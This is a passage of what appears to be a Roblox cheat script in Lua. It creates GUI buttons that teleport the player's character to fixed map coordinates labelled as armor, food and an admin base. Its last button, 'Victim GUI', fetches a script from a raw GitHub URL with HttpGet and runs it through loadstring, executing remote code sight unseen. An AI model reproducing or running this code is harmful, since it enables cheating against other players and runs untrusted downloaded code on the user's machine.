= CFrame.new(-962.72345, 21.2549973, -186.814987, -0.0274876002, 2.91178949e-05, 0.999621451, -5.5798846e-06, 1, -2.92823333e-05, -0.999621451, -6.38268148e-06, -0.0274876002) end}) Tab:AddButton({Name = "High Med Armor", Callback = function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-934.73651123047, -28.492471694946, 565.99884033203) end}) Tab:AddButton({Name = "Food", Callback = function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-788.39318847656, -39.649200439453, -935.27795410156) end}) Tab:AddButton({Name = "AdminBase", Callback = function() game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-874.903992, -32.6492004, -525.215698) end}) Tab:AddButton({Name = "Victim GUI", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/GS21Official/DH-VictimMenu-Script/main/Dh%20VictimMenu%3A%20Script"))() end})